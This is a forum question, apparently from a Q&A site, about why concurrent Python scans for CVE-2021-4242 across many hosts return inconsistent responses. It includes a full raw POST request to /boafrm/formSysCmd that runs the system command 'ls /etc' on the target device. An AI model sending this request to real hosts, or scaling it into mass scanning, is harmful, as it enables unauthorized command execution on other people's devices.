[Python] Why does the same HTTP request return different responses when batch testing...

I'm batch testing CVE-2021-4242 across multiple hosts using Python's ThreadPoolExecutor in combination with requests for concurrent requests.

What I've observed:

• When I test one host at a time, the HTTP response is correct (the same result as manually verifying with a browser).
• However, when I test multiple hosts, most vulnerable hosts do not return valid HTTP responses (requests fail or hang).
• To troubleshoot, I used Burp Suite to capture the traffic. I then replayed a request with the same content: one that returns a valid response and one that does not. Even though the requests are identical, the responses are still different.

Here is the request I'm using (with identical content for both successful and unsuccessful attempts):

POST /boafrm/formSysCmd HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Host: [ip]
Origin: http://[ip]
Content-Type: application/x-www-form-urlencoded
Referer: http://[ip]/syscmd.htm
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Length: 58

sysCmd=ls+%2Fetc&apply=Apply&submit-url=%2Fsyscmd.htm&msg=

Continue reading...